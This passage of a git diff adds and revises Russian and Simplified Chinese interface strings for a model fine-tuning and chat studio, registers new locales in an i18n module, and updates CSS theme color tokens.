+      gradAccum: "Накопление градиента",
+      gradAccumTooltip: "Имитирует больший размер батча без дополнительного VRAM.",
+      weightDecay: "Затухание весов",
+      weightDecayTooltip: "L2-регуляризация для предотвращения переобучения.",
+      warmupSteps: "Шаги прогрева",
+      warmupStepsTooltip:
+        "Постепенно повышать LR в начале обучения для стабильности.",
+      scheduleEpochsTooltip:
+        "Количество полных проходов по датасету. Задайте 0, чтобы работать по макс. шагам.",
+      saveSteps: "Шаги сохранения",
+      saveStepsTooltip: "Сохранять чекпоинт каждые N шагов. 0 для отключения.",
+      evalSteps: "Шаги оценки",
+      evalStepsTooltip:
+        "Доля от общего числа шагов обучения между оценками (0-1). Задайте 0, чтобы отключить оценку. Например, 0.01 = оценка каждый 1% шагов.",
+      seed: "Seed",
+      seedTooltip: "Случайный seed для воспроизводимости.",
+      gradCheckpoint: "Чекпоинт градиента",
+      gradCheckpointTooltip:
+        "Обменять вычисления на память, пересчитывая активации.",
+      none: "Нет",
+      standard: "Стандартный",
+      enablePacking: "Включить packing",
+      assistantCompletionsOnly: "Только ответы ассистента",
+      readMore: "Подробнее",
+    },
+    training: {
+      title: "Обучение",
+      description: "Мониторинг и управление обучением",
+      chartNoDataTitle: "Пока нет данных обучения",
+      chartNoDataDescription: "Начните обучение, чтобы увидеть прогресс loss",
+      startTraining: "Начать обучение",
+      starting: "Запуск...",
+      loadingModel: "Загрузка модели...",
+      checkingDataset: "Проверка датасета...",
+      configLabel: "Конфигурация обучения",
+      upload: "Загрузить",
+      uploadConfigTooltip: "Загрузить сохранённую конфигурацию YAML",
+      save: "Сохранить",
+      saveConfigTooltip: "Скачать текущую конфигурацию как YAML",
+      reset: "Сбросить",
+      resetConfigTooltip: "Сбросить к значениям модели по умолчанию",
+      configLoaded: "Конфигурация загружена",
+      failedToLoadConfig: "Не удалось загрузить конфигурацию",
+      invalidYamlFile: "Недопустимый файл YAML",
+      failedToReadFile: "Не удалось прочитать файл",
+      parametersReset: "Параметры сброшены к значениям модели по умолчанию",
+      audioIncompatible:
+        "Эта модель не поддерживает аудио. Переключитесь на модель с поддержкой аудио или выберите не-аудио датасет.",
+      visionIncompatible:
+        "Текстовая модель несовместима с мультимодальным датасетом. Переключитесь на модель зрения или выберите текстовый датасет.",
+      cancelTitle: "Отменить обучение",
+      cancelDescription: "Вы хотите отменить текущий запуск обучения?",
+      continueAction: "Продолжить обучение",
+      cancelAction: "Отменить обучение",
+      stopTitle: "Остановить обучение",
+      stopDescription: "Выберите, как остановить текущий запуск обучения.",
+      stopAction: "Остановить",
+      stopping: "Остановка...",
+      stopAndSave: "Остановить и сохранить",
+      compareInChat: "Сравнить в чате",
+      exportModel: "Экспортировать модель",
+      milestone: "Веха",
+      halfwayDone: "Половина позади. Обучение прошло 50%.",
+      doneNextStep:
+        "Обучение завершено. Следующий шаг: сравните выводы базовой и дообученной модели.",
+    },
+    history: {
+      title: "История",
+      emptyTitle: "Пока нет запусков обучения",
+      emptyDescription:
+        "Пока нет запусков обучения. Запустите первое обучение на вкладке «Настройка».",
+      loadError: "Не удалось загрузить запуски обучения",
+      deleteError: "Не удалось удалить запуск обучения. Повторите попытку.",
+      retry: "Повторить",
+      loadMore: "Загрузить ещё",
+      loading: "Загрузка...",
+      loadingRun: "Загрузка запуска обучения...",
+      runNotFound: "Запуск не найден",
+      deleteTitle: "Удалить запуск обучения?",
+      deleteDescription:
+        "Это безвозвратно удалит этот запуск обучения и все его метрики. Это действие нельзя отменить.",
+      runCount: "{count} запусков",
+      oneRun: "1 запуск",
+      resume: "Продолжить",
+      resumeTraining: "Продолжить обучение",
+      resuming: "Продолжение...",
+      deleteRun: "Удалить запуск",
+      loss: "Loss",
+      steps: "Шаги",
+      lossTrendSparkline: "Спарклайн тренда loss",
+      relativeJustNow: "только что",
+      relativeMinutesAgo: "{count} мин назад",
+      relativeHoursAgo: "{count} ч назад",
+      relativeDaysAgo: "{count} дн назад",
+      status: {
+        completed: "Завершено",
+        stopped: "Остановлено",
+        error: "Ошибка",
+        running: "Выполняется",
+        continued: "Продолжено",
+      },
+      message: {
+        completed: "Обучение завершено",
+        stopped: "Обучение остановлено",
+        running: "Обучение выполняется",
+        errored: "Ошибка обучения",
+      },
+      copyPreviewLink: "Копировать ссылку предпросмотра",
+      previewLinkCopied: "Ссылка предпросмотра скопирована",
+      previewLinkCopyFailed: "Не удалось скопировать ссылку",
+    },
+    charts: {
+      settings: "Настройки графика",
+      settingsDescription:
+        "Настройте отображение графика, пока обучение продолжается.",
+      openSettings: "Открыть настройки графика",
+      viewWindow: "Окно просмотра",
+      viewWindowDescription: "Показывать только последние шаги или всю историю.",
+      window: "Окно",
+      all: "Все",
+      trainingLoss: "Loss обучения",
+      trainingLossDescription: "Управление наложениями и EMA-сглаживанием.",
+      smoothing: "Сглаживание",
+      smoothingDescription: "Двигайте вправо для большего сглаживания. `0` = без обработки.",
+      showRawLoss: "Показывать сырой loss",
+      showSmoothedLoss: "Показывать сглаженный loss",
+      showAverageLine: "Показывать линию среднего",
+      scaleAndCleanup: "Масштаб и очистка",
+      linear: "Линейный",
+      log: "Логарифмический",
+      noClip: "Без обрезки",
+      clipP99: "Обрезка p99",
+      clipP95: "Обрезка p95",
+      lossAxis: "Ось loss",
+      gradientNormAxis: "Ось нормы градиента",
+      learningRateAxis: "Ось скорости обучения",
+      resetDefaults: "Сбросить к умолчанию",
+      loss: "Loss",
+      smoothed: "Сглажено",
+      evalLoss: "Eval Loss",
+      learningRate: "Скорость обучения",
+      lr: "LR",
+      gradNorm: "Норма градиента",
+      gradientNorm: "Норма градиента",
+      step: "Шаг {step}",
+      averageValue: "среднее {value}",
+      waitingForFirstEvaluationStep: "Ожидание первого шага оценки...",
+      evaluationNotConfigured: "Оценка не настроена",
+      evalChartWillAppear: "График появится по достижении eval_steps",
+      setEvalDatasetAndSteps:
+        "Задайте датасет для оценки и eval_steps для отслеживания eval loss",
+    },
+    progress: {
+      title: "Прогресс обучения",
+      liveMetrics: "Метрики обучения в реальном времени",
+      exportGguf: "Экспортировать в GGUF",
+      openConfig: "Открыть конфигурацию обучения",
+      configLabel: "Конфигурация обучения",
+      hyperparams: "Гиперпараметры",
+      epochs: "Эпохи",
+      batchSize: "Размер батча",
+      learningRate: "Скорость обучения",
+      optimizer: "Оптимизатор",
+      maxSteps: "Макс. шагов",
+      contextLength: "Длина контекста",
+      warmupSteps: "Шаги прогрева",
+      rank: "Ранг",
+      alpha: "Alpha",
+      dropout: "Dropout",
+      variant: "Вариант",
+      epoch: "Эпоха {value}",
+      percentComplete: "{percent}% завершено",
+      stepProgress: "Шаг {current} / {total}",
+      loss: "Loss",
+      lr: "LR",
+      gradNorm: "Норма градиента",
+      project: "Проект",
+      model: "Модель",
+      method: "Метод",
+      elapsed: "Прошло: {value}",
+      eta: "Осталось: {value}",
+      stepsPerSecond: "{value} шаг/с",
+      noStepsPerSecond: "-- шаг/с",
+      tokens: "Токены: {value}",
+      gpuMonitor: "Монитор GPU",
+      live: "В реальном времени",
+      utilization: "Загрузка",
+      temperature: "Температура",
+      vram: "VRAM",
+      power: "Мощность",
+      phase: {
+        idle: "Простой",
+        downloadingModel: "Загрузка модели",
+        downloadingDataset: "Загрузка датасета",
+        loadingModel: "Загрузка модели",
+        loadingDataset: "Загрузка датасета",
+        configuring: "Настройка",
+        training: "Обучение",
+        completed: "Завершено",
+        error: "Ошибка",
+        stopped: "Остановлено",
+      },
+    },
+    trainingStart: {
+      ready: "Готово",
+      downloading: "Загрузка",
+      preparing: "Подготовка",
+      left: "осталось {eta}",
+      downloaded: "загружено {size}",
+      terminalStart: "> обучение unsloth начинается...",
+      preparingResources: "> Подготовка модели и датасета...",
+      gettingReady: "> Мы готовим всё для вашего запуска...",
+      waitingForFirstStep: "> {message} | ожидание первого шага... ({step})",
+      resumingTraining: "Продолжение обучения...",
+      startingTraining: "начало обучения...",
+      dataset: "Датасет",
+      datasetStreaming: "Датасет: потоковая передача (без полной загрузки)",
+      modelWeights: "Веса модели",
+    },
+    tour: {
+      guidedTour: "Обзорный тур",
+    },
+  },
+} satisfies DeepPartialMessageTree<typeof en>;
diff --git a/studio/frontend/src/i18n/locales/zh-CN.ts b/studio/frontend/src/i18n/locales/zh-CN.ts
index 5fd31dc7cb..4c51755244 100644
--- a/studio/frontend/src/i18n/locales/zh-CN.ts
+++ b/studio/frontend/src/i18n/locales/zh-CN.ts
@@ -22,6 +22,9 @@ export const zhCN = {
     shutdown: "关闭服务",
   },
   shell: {
+    beta: "BETA",
+    brand: "unsloth",
+    product: "Unsloth Studio",
     accountMenu: "{name} 账号菜单",
     updateAvailable: "有可用更新",
     aria: {
@@ -41,6 +44,7 @@ export const zhCN = {
       recipes: "配方",
       export: "导出",
       recents: "最近",
+      noChatsYet: "暂无对话",
       settings: "设置",
       api: "API",
       lightMode: "浅色模式",
@@ -87,15 +91,19 @@ export const zhCN = {
       title: "设置",
       description: "管理你的 Unsloth Studio 偏好设置。",
       closeAriaLabel: "关闭设置",
+      searchPlaceholder: "搜索设置…",
+      searchNoResults: "未找到设置。",
     },
     tabs: {
       general: "通用",
       profile: "个人资料",
       appearance: "外观",
+      resources: "系统",
       chat: "聊天",
       connections: "连接",
       apiKeys: "API",
       about: "关于",
+      voice: "语音",
     },
     general: {
       title: "通用",
@@ -107,7 +115,7 @@ export const zhCN = {
       showToken: "显示 token",
       tokenSaved: "Token 已保存",
       password: "密码",
-      passwordDescription: "更改此 Studio 账号的密码。",
+      passwordDescription: "更改此 Unsloth 账号的密码。",
       passwordDialog: {
         trigger: "更改密码",
         title: "更改密码",
@@ -127,6 +135,51 @@ export const zhCN = {
       chatDefaults: "聊天默认设置",
       autoTitleNewChats: "自动为新聊天命名",
       autoTitleNewChatsDescription: "根据第一条消息生成简短标题。",
+      helperLlm: {
+        sectionTitle: "辅助 LLM",
+        preloadOnStartup: "启动时预缓存辅助 LLM",
+        preloadOnStartupDescription:
+          "启动时在后台下载 AI Assist 辅助模型。默认关闭；AI Assist 仍可按需获取。",
+        disabledByEnv:
+          "已由后端环境中的 UNSLOTH_HELPER_MODEL_DISABLE 禁用。",
+        loadError: "加载辅助 LLM 设置失败。",
+        saveError: "保存辅助 LLM 设置失败。",
+      },
+      modelAutoSwitch: {
+        sectionTitle: "模型自动切换（OpenAI API）",
+        enable: "按请求切换模型",
+        enableDescription:
+          "当兼容 OpenAI 的请求指定了另一个已下载的 GGUF 时，先加载它再提供服务。默认关闭；未知名称将继续使用已加载的模型。",
+        idleUnload: "空闲自动卸载",
+        idleUnloadDescription:
+          "空闲达到该秒数后卸载模型以释放 VRAM；下次请求会重新加载。设为 0 则保持加载。",
+        idleNeedsEnable:
+          "开启“按请求切换模型”，以便已卸载的模型在下次使用时重新加载。",
+        idleActiveViaEnv:
+          "空闲自动卸载已通过 UNSLOTH_MODEL_IDLE_TTL 环境变量启用。",
+        loadError: "加载模型自动切换设置失败。",
+        saveError: "保存模型自动切换设置失败。",
+        idleError: "请输入整数秒数（0 或以上）。",
+      },
+      previewSharing: {
+        sectionTitle: "预览分享",
+        enableLabel: "公开预览链接",
+        enableDescription:
+          "让任何持有签名链接的人无需登录即可与完成的模型聊天。关闭后将下线公开预览界面；已分享的链接将失效。",
+        loadError: "加载预览分享设置失败。",
+        saveError: "保存预览分享设置失败。",
+        revokeLabel: "撤销所有预览链接",
+        revokeDescription:
+          "轮换签名密钥，使你分享过的所有链接失效。新复制的链接仍可用。",
+        revokeAction: "撤销链接",
+        revoking: "撤销中...",
+        revokeConfirmTitle: "撤销所有预览链接？",
+        revokeConfirmDescription:
+          "你分享过的每个预览链接都将立即失效。此操作无法撤销。",
+        revokeConfirmAction: "撤销所有链接",
+        revoked: "所有预览链接已撤销",
+        revokeError: "无法撤销预览链接",
+      },
       notifications: {
         sectionTitle: "通知",
         showLlamaUpdates: "llama.cpp 更新通知",
@@ -141,7 +194,31 @@ export const zhCN = {
         sectionTitle: "上传",
         maxUploadSize: "训练数据集上传上限",
         maxUploadSizeDescription:
-          "适用于训练数据集上传。默认值为 {defaultSize} MB。",
+          "默认值为 {defaultSize} MB。",
+      },
+      rag: {
+        sectionTitle: "文档与 RAG",
+        embeddingModel: "Embedding 模型",
+        embeddingModelDescription:
+          "用于为文档建立索引和搜索的 Hugging Face 模型或本地路径。默认值为 {defaultModel}。",
+        reindexWarning:
+          "仅影响新建立索引的文档。更改模型后请重新上传已有文档。",
+        emptyError: "请输入 Hugging Face 模型 ID 或本地路径。",
+        loadError: "加载 embedding 模型设置失败。",
+        saveError: "保存 embedding 模型失败。",
+        saved: "Embedding 模型已保存。",
+        saveAnyway: "仍然保存",
+        resetAction: "重置为默认值",
+      },
+      storage: {
+        sectionTitle: "存储",
+        modelsFolder: "模型文件夹",
+        modelsFolderDescription: "已下载模型的存储位置。",
+        openAction: "打开",
+        copyAction: "复制路径",
+        copied: "路径已复制",
+        openError: "无法打开文件夹",
+        copyError: "无法复制路径",
       },
       resetPreferences: {
         sectionTitle: "危险区域",
@@ -157,7 +234,7 @@ export const zhCN = {
     },
     profile: {
       title: "个人资料",
-      description: "更新你在 Unsloth 中显示的个人资料。",
+      description: "你的个人资料在 Unsloth 中的显示方式。",
       changePicture: "更换头像",
       displayName: "显示名称",
       nickname: "Unsloth 应该怎么称呼你？",
@@ -166,7 +243,11 @@ export const zhCN = {
       avatarShape: "头像形状",
       avatarShapeCircle: "圆形",
       avatarShapeRounded: "圆角矩形",
-      chooseSloth: "或选择一只树懒",
+      greetingSloth: "问候语中显示树懒",
+      greetingSlothDescription: "在对话问候语中显示树懒。",
+      chooseSloth: "或选择一只树懒作为头像",
+      noPicture: "无头像",
+      noneLabel: "无",
       nameSaved: "个人资料名称已保存",
       namePersistErrorTitle: "无法持久保存个人资料名称",
       namePersistErrorDescription:
@@ -185,6 +266,7 @@ export const zhCN = {
         title: "语言",
         label: "显示语言",
         description: "选择 Unsloth 使用的语言。",
+        autoDetect: "自动检测",
       },
       theme: {
         title: "主题",
@@ -194,15 +276,170 @@ export const zhCN = {
         light: "浅色",
         dark: "深色",
       },
+      palette: {
+        label: "调色板",
+        description: "Unsloth 全局使用的配色，支持浅色和深色模式。",
+        standard: "标准",
+        classic: "经典",
+        minimal: "极简",
+      },
+      custom: {
+        reset: "重置",
+        resetAll: "重置自定义",
+        preferencesTitle: "偏好设置",
+        colors: {
+          lightGroup: "浅色主题",
+          darkGroup: "深色主题",
+          accent: "强调色",
+          background: "背景",
+          foreground: "前景",
+        },
+        fontDefault: "默认",
+        fontBundledGroup: "内置",
+        fontImportedGroup: "已导入",
+        fontDeviceGroup: "此设备",
+        fontFolderGroup: "来自文件夹",
+        fontDeviceLoading: "正在查找设备字体…",
+        fontSearch: "搜索字体…",
+        fontNoResults: "未找到字体。",
+        colorPicker: {
+          hue: "色相",
+          hex: "十六进制颜色",
+          eyedropper: "从屏幕取色",
+        },
+        uiFont: {
+          label: "界面字体",
+        },
+        headingFont: {
+          label: "标题字体",
+        },
+        chatFont: {
+          label: "聊天字体",
+        },
+        codeFont: {
+          label: "代码字体",
+        },
+        importFont: {
+          upload: "上传",
+          scanFolder: "选择文件夹",
+          alreadyAvailable: "该字体已可用，将使用现有字体。",
+          folderNoFonts: "在该文件夹中未找到字体文件。",
+          remove: "移除",
+          errorInvalidType:
+            "不支持的文件类型。请使用 .woff2、.woff、.ttf 或 .otf。",
+          errorTooLarge: "字体文件过大（最大 1.5 MB）。",
+          errorLimit: "最多可导入 3 个字体。",
+          errorStorageFull: "本地存储空间不足。请先删除一个已导入的字体。",
+          errorFailed: "无法加载此字体文件。",
+        },
+        uiFontSize: {
+          label: "界面字号",
+          description: "调整 Unsloth 界面的基准字号。",
+        },
+        codeFontSize: {
+          label: "代码字号",
+          description: "调整代码的基准字号。",
+        },
+        fontSmoothing: {
+          label: "字体平滑",
+          description: "使用平滑的字体抗锯齿。",
+        },
+        contrast: {
+          label: "对比度",
+          description: "边框和次要文本的强度。",
+        },
+        reduceMotion: {
+          label: "减少动态效果",
+          description: "减少动画，或跟随系统设置。",
+          system: "跟随系统",
+          on: "开",
+          off: "关",
+        },
+        pointerCursors: {
+          label: "使用指针光标",
+          description: "悬停在可交互元素上时将光标变为指针。",
+        },
+      },
       layout: {
         title: "布局",
         compactSidebar: "默认固定侧边栏",
         compactSidebarDescription: "保持侧边栏展开，而不是折叠为图标。",
       },
+      sidebarMenu: {
+        title: "侧边栏菜单",
+        description:
+          "显示、隐藏和重新排序侧边栏个人菜单中的项目。设置、帮助、退出登录和关闭保持固定。",
+        darkModeToggle: "深色模式切换",
+        dragToReorder: "拖动以重新排序",
+      },
+    },
+    resources: {
+      title: "系统",
+      description: "监控此 Studio 服务器的硬件和存储。",
+      liveUpdates: "实时更新",
+      floatingWindow: "悬浮窗口",
+      disableOverlay: "禁用悬浮层",
+      liveMonitor: {
+        title: "实时监控",
+        cpu: "CPU",
+        ram: "RAM",
+        disk: "磁盘",
+        vram: "VRAM",
+        cpuCores: "{logical} 逻辑核心 / {physical} 物理核心",
+        currentLoad: "当前负载",
+        free: "{value} 可用",
+        noGpu: "无可见 GPU",
+      },
+      gpu: {
+        title: "GPU 设备",
+        noGpu: "未检测到可见 GPU。上方仅显示 CPU 资源。",
+        unknownDevice: "未知 GPU",
+        deviceWithIndex: "GPU {index}",
+        vramUtilization: "VRAM",
+        used: "已用 {value}",
+        free: "{value} 可用",
+        total: "共 {value}",
+      },
+      storage: {
+        title: "存储",
+        systemDisk: "系统磁盘",
+        diskUsage: "已用 {used} / {total}",
+        diskFree: "{free} 可用",
+        modelsFolder: "模型文件夹",
+        modelsFolderDescription: "已下载模型的存储位置。",
+        openAction: "打开",
+        copyAction: "复制路径",
+        copied: "路径已复制",
+        openError: "无法打开文件夹",
+        copyError: "无法复制路径",
+      },
+      environment: {
+        title: "环境",
+        backend: "后端",
+        python: "Python",
+        torch: "Torch",
+        transformers: "Transformers",
+        uptime: "运行时长",
+        processMemory: "进程内存",
+        notInstalled: "未安装",
+        unknown: "未知",
+      },
     },
     chat: {
       title: "聊天",
       description: "管理此设备上保存的聊天记录。",
+      modelDisclaimer: "显示模型免责声明",
+      modelDisclaimerDescription:
+        "在聊天框下方显示“LLM 可能会出错”。",
+      artifacts: {
+        title: "Canvas",
+        collapseHtmlBlocks: "折叠 HTML 块",
+        collapseHtmlBlocksDescription:
+          "Canvas 模式会自动折叠完整 HTML。开启此项可在关闭 Canvas 时也折叠代码块中的 HTML 文档。",
+        allowNetworkAccess: "允许 Canvas 访问网络",
+        allowNetworkAccessDescription:
+          "允许 Canvas 预览从 CDN 加载脚本、样式、字体、媒体和网络资源。若需完全离线预览请保持关闭。",
+      },
       data: "数据",
       exportHistory: "导出聊天记录",
       exportHistoryDescription: "将所有聊天和消息下载为 JSON 文件。",
@@ -266,7 +503,6 @@ export const zhCN = {
       description: "通过兼容 OpenAI 的 API 以编程方式访问 Unsloth。",
       readDocs: "阅读 API 文档",
       noAccess: "还没有 API 访问权限。",
-      newBadge: "新",
       accessTokens: "访问 token",
       loadError: "无法加载 API 访问权限。",
       createError: "无法创建访问 token。",
@@ -284,8 +520,10 @@ export const zhCN = {
       usageTools: "工具",
       exampleCurlTools: "curl + 工具",
       examplePythonTools: "Python + 工具",
+      exampleJavaScriptTools: "JavaScript + 工具",
       exampleCurlAdvanced: "curl + 高级",
       examplePythonAdvanced: "Python + 高级",
+      exampleJavaScriptAdvanced: "JavaScript + 高级",
       osUnix: "Linux / macOS / WSL",
       osWindows: "Windows",
       secureHttps: "安全 HTTPS",
@@ -296,6 +534,12 @@ export const zhCN = {
       copy: "复制",
       copied: "已复制",
       setupDocs: "设置文档：",
+      codingAgents: "编程智能体",
+      codingAgentsHint:
+        "针对此服务器启动编程智能体。它会使用已加载的模型；本地服务器会自动生成 API 密钥，远程服务器则会将其包含在命令中。",
+      codingAgentsSwap: "可将 claude 替换为 codex、openclaw、opencode、hermes 或 pi。",
+      codingAgentDetected: "已安装在本机",
+      codingAgentsDetectedHint: "本机检测到：{agents}。",
       relativeNever: "从未",
       relativeJustNow: "刚刚",
       relativeHoursAgo: "{count} 小时前",
@@ -437,12 +681,12 @@ export const zhCN = {
       searchModels: "搜索模型...",
       searching: "搜索中...",
       noModelsFound: "未找到模型",
-      needsVram: "约需 {vram}GB 显存（GPU：{gpu}GB）",
-      tightVram: "约 {vram}GB 显存（在 {gpu}GB 上偏紧）",
-      vramEstimate: "约 {vram}GB 显存",
+      needsVram: "约需 {vram}GB VRAM（GPU：{gpu}GB）",
+      tightVram: "约 {vram}GB VRAM（在 {gpu}GB 上偏紧）",
+      vramEstimate: "约 {vram}GB VRAM",
       method: "方法",
       methodTooltip:
-        "QLoRA 使用 4 位量化以最大限度降低显存。LoRA 使用 16 位。Full 会更新所有权重。CPT（持续预训练）在原始文本上训练，使模型适配新领域，不使用聊天格式。",
+        "QLoRA 使用 4 位量化以最大限度降低 VRAM。LoRA 使用 16 位。Full 会更新所有权重。CPT（持续预训练）在原始文本上训练，使模型适配新领域，不使用聊天格式。",
       readMore: "了解更多",
       fullFineTune: "全量微调",
       checkingToken: "正在检查 token...",
@@ -528,7 +772,7 @@ export const zhCN = {
         accessKeyId: "访问密钥 ID",
         accessKeyIdPlaceholder: "AKIAIOSFODNN7EXAMPLE",
         secretAccessKey: "秘密访问密钥",
-        secretAccessKeyPlaceholder: "您的 AWS 秘密访问密钥",
+        secretAccessKeyPlaceholder: "你的 AWS 秘密访问密钥",
         useIamRole: "使用 IAM 角色",
         useIamRoleTooltip: "使用 IAM 角色凭证而非访问密钥（推荐用于 EC2/SageMaker）",
         testConnection: "测试连接",
@@ -604,9 +848,9 @@ export const zhCN = {
         cosine: "余弦",
       },
       batchSize: "批大小",
-      batchSizeTooltip: "每步处理的样本数。越高占用越多显存。",
+      batchSizeTooltip: "每步处理的样本数。越高占用越多 VRAM。",
       gradAccum: "梯度累积",
-      gradAccumTooltip: "在不增加显存的情况下模拟更大的批大小。",
+      gradAccumTooltip: "在不增加 VRAM 的情况下模拟更大的批大小。",
       weightDecay: "权重衰减",
       weightDecayTooltip: "L2 正则化，用于防止过拟合。",
       warmupSteps: "预热步数",
@@ -620,7 +864,7 @@ export const zhCN = {
       seed: "随机种子",
       seedTooltip: "用于复现的随机种子。",
       gradCheckpoint: "梯度检查点",
-      gradCheckpointTooltip: "通过重算激活以时间换显存。",
+      gradCheckpointTooltip: "通过重算激活以时间换 VRAM。",
       none: "无",
       standard: "标准",
       enablePacking: "启用 packing",
@@ -706,6 +950,9 @@ export const zhCN = {
         running: "训练进行中",
         errored: "训练出错",
       },
+      copyPreviewLink: "复制预览链接",
+      previewLinkCopied: "预览链接已复制",
+      previewLinkCopyFailed: "无法复制链接",
     },
     charts: {
       settings: "图表设置",
@@ -749,6 +996,7 @@ export const zhCN = {
     progress: {
       title: "训练进度",
       liveMetrics: "实时训练指标",
+      exportGguf: "导出为 GGUF",
       openConfig: "打开训练配置",
       configLabel: "训练配置",
       hyperparams: "超参数",
@@ -809,6 +1057,7 @@ export const zhCN = {
       resumingTraining: "正在继续训练...",
       startingTraining: "正在开始训练...",
       dataset: "数据集",
+      datasetStreaming: "数据集：流式传输（无需完整下载）",
       modelWeights: "模型权重",
     },
     tour: {
diff --git a/studio/frontend/src/i18n/messages.ts b/studio/frontend/src/i18n/messages.ts
index ef58ca23fe..ead94a966e 100644
--- a/studio/frontend/src/i18n/messages.ts
+++ b/studio/frontend/src/i18n/messages.ts
@@ -4,19 +4,47 @@
 import { getLocale } from "./locale-store";
 import { en } from "./locales/en";
 import { zhCN } from "./locales/zh-CN";
+import { ptBR } from "./locales/pt-br";
 import { ja } from "./locales/ja";
+import { es } from "./locales/es";
+import { hi } from "./locales/hi";
+import { ar } from "./locales/ar";
+import { fr } from "./locales/fr";
+import { ru } from "./locales/ru";
+import { de } from "./locales/de";
+import { ko } from "./locales/ko";
 import type { InterpolationValues, MessageKey } from "./types";
 
 export const LOCALES = {
   en: { label: "English", nativeLabel: "English" },
   "zh-CN": { label: "Chinese (Simplified)", nativeLabel: "简体中文" },
   ja: { label: "Japanese", nativeLabel: "日本語" },
+  ko: { label: "Korean", nativeLabel: "한국어" },
+  es: { label: "Spanish", nativeLabel: "Español" },
+  "pt-BR": { label: "Portuguese (Brazil)", nativeLabel: "Português (Brasil)" },
+  fr: { label: "French", nativeLabel: "Français" },
+  de: { label: "German", nativeLabel: "Deutsch" },
+  ru: { label: "Russian", nativeLabel: "Русский" },
+  hi: { label: "Hindi", nativeLabel: "हिन्दी" },
+  ar: { label: "Arabic", nativeLabel: "العربية" },
 } as const;
 
 export type Locale = keyof typeof LOCALES;
 export type TranslationKey = MessageKey<typeof en>;
 
-export const messages = { en, "zh-CN": zhCN, ja } as const;
+export const messages = {
+  en,
+  "zh-CN": zhCN,
+  ja,
+  ko,
+  es,
+  "pt-BR": ptBR,
+  fr,
+  de,
+  ru,
+  hi,
+  ar,
+} as const;
 
 const PLACEHOLDER_PATTERN = /\{([a-zA-Z0-9_]+)\}/g;
 
@@ -49,7 +77,8 @@ function interpolate(
 }
 
 function warnMissingEnglishMessage(key: string): void {
-  if (import.meta.env.DEV) {
+  // Optional chain so translate() also works outside Vite (Node tooling).
+  if (import.meta.env?.DEV) {
     console.warn(`[i18n] Missing English translation for key "${key}".`);
   }
 }
diff --git a/studio/frontend/src/index.css b/studio/frontend/src/index.css
index a14643fefd..333ed70f6a 100644
--- a/studio/frontend/src/index.css
+++ b/studio/frontend/src/index.css
@@ -101,7 +101,8 @@
 	h3,
 	[data-slot="dialog-title"],
 	[data-slot="alert-dialog-title"] {
-		font-family: "Hellix", "Space Grotesk Variable", var(--font-sans) !important;
+		/* Via the token so the heading-font setting applies here too. */
+		font-family: var(--font-heading) !important;
 		font-weight: 500 !important;
 	}
 }
@@ -164,14 +165,22 @@
 	--secondary-foreground: oklch(0.2868 0.0649 159.9823);
 	--muted: oklch(0.9702 0 0);
 	--muted-foreground: oklch(0.5486 0 0);
-	--accent: oklch(0.9596 0.0275 167.8295);
-	--accent-foreground: oklch(0.2868 0.0649 159.9823);
+	/* Hover/active washes are neutral grey (matches the sidebar), not the
+	   brand green; green stays on primary controls only. */
+	--accent: #ececec;
+	--accent-foreground: #262626;
 	--destructive: oklch(0.6368 0.2078 25.3313);
 	/* Bypass permissions accent: bright, saturated yellow (not dark gold). */
 	--bypass: #c99d00;
 	--border: oklch(0.9208 0.0101 164.8536);
 	--input: oklch(0.9208 0.0101 164.8536);
-	--ring: #17b88b;
+	--ring: #262626;
+	/* Focus and selection indicators: the element's own border, darker.
+	   Derived from the live border/foreground tokens so every palette and
+	   mode gets the right shade from these definitions. Focus/hover uses the
+	   soft shade; selected state uses the deeper one (still never black). */
+	--ring-soft: color-mix(in srgb, var(--foreground) 22%, var(--border));
+	--ring-select: color-mix(in srgb, var(--foreground) 48%, var(--border));
 	--chart-1: #17b88b;
 	--chart-2: oklch(0.694 0.1395 136.6059);
 	--chart-3: oklch(0.7014 0.1193 197.5897);
@@ -184,10 +193,10 @@
 	--sidebar-foreground: oklch(0.1281 0.0179 169.2764);
 	--sidebar-primary: #17b88b;
 	--sidebar-primary-foreground: oklch(1 0 0);
-	--sidebar-accent: oklch(0.96 0.0279 166.55);
-	--sidebar-accent-foreground: oklch(0.2868 0.0649 159.9823);
+	--sidebar-accent: #ececec;
+	--sidebar-accent-foreground: #262626;
 	--sidebar-border: #f2f2f2;
-	--sidebar-ring: #17b88b;
+	--sidebar-ring: #262626;
 	--destructive-foreground: oklch(1 0 0);
 	--font-sans: "Inter Variable", ui-sans-serif, sans-serif, system-ui;
 	--font-heading: "Hellix", "Space Grotesk Variable", var(--font-sans);
@@ -258,6 +267,18 @@
 	--chat-icon-fg-hover: var(--foreground);
 	--chat-icon-bg-hover: #ededec;
 
+	/* Control accent: switches, "New" badges, notification-style chips.
+	   Follows the brand accent by default; palettes that keep their primary
+	   neutral (Classic) override this so small controls still get a hue.
+	   References resolve at use, so .dark's --primary flows through. */
+	--control-accent: var(--primary);
+	--control-accent-foreground: var(--primary-foreground);
+
+	/* Status color for meaning-carrying marks (verified badges, token
+	   indicators). Pinned to the brand green in every palette and mode so
+	   the signal never changes with the theme. */
+	--verified: #17b88b;
+
 	/* Standard interactive-icon size for nav, menus, action bars, and
 	   in-message code-block actions. Sized one step above body text so
 	   icons read as minimally larger than adjacent labels (~14px text).
@@ -271,48 +292,48 @@
 }
 
 .dark {
-	/* Exact palette from apps/studio/index_chat.html mockup. Using hex so the
-	   rendered surface matches the mockup pixel-for-pixel — OKLCH conversion
-	   drifted ~3% darker and shifted the neutral hue. */
-	/* Slightly darker than --sidebar so the sidebar reads as its own surface. */
-	--background: #1a1b1e;
-	--foreground: #ececee;
-	--card: #2d2e32;
-	--card-foreground: #ececee;
-	--popover: #2d2e32;
-	--popover-foreground: #ececee;
+	/* Dark surfaces shared by ALL palettes: #181818 page, elevated #1f1f1f
+	   sidebar, #212121 cards. Palette dark blocks override only accent
+	   tokens so dark mode stays consistent across themes. */
+	--background: #181818;
+	--foreground: #ececec;
+	--card: #212121;
+	--card-foreground: #ececec;
+	--popover: #212121;
+	--popover-foreground: #ececec;
 	--primary: #17b88b;
 	--primary-foreground: oklch(1 0 0);
-	--secondary: #2e3035;
-	--secondary-foreground: #ececee;
-	--muted: #2e3035;
-	--muted-foreground: #999999;
+	--secondary: #242424;
+	--secondary-foreground: #ececec;
+	--muted: #242424;
+	--muted-foreground: #9b9b9b;
 	/* One step lighter than --popover so menu item hover reads clearly. */
-	--accent: #3a3d43;
-	--accent-foreground: #ececee;
+	--accent: #2e2e2e;
+	--accent-foreground: #ececec;
 	--destructive: oklch(0.6368 0.2078 25.3313);
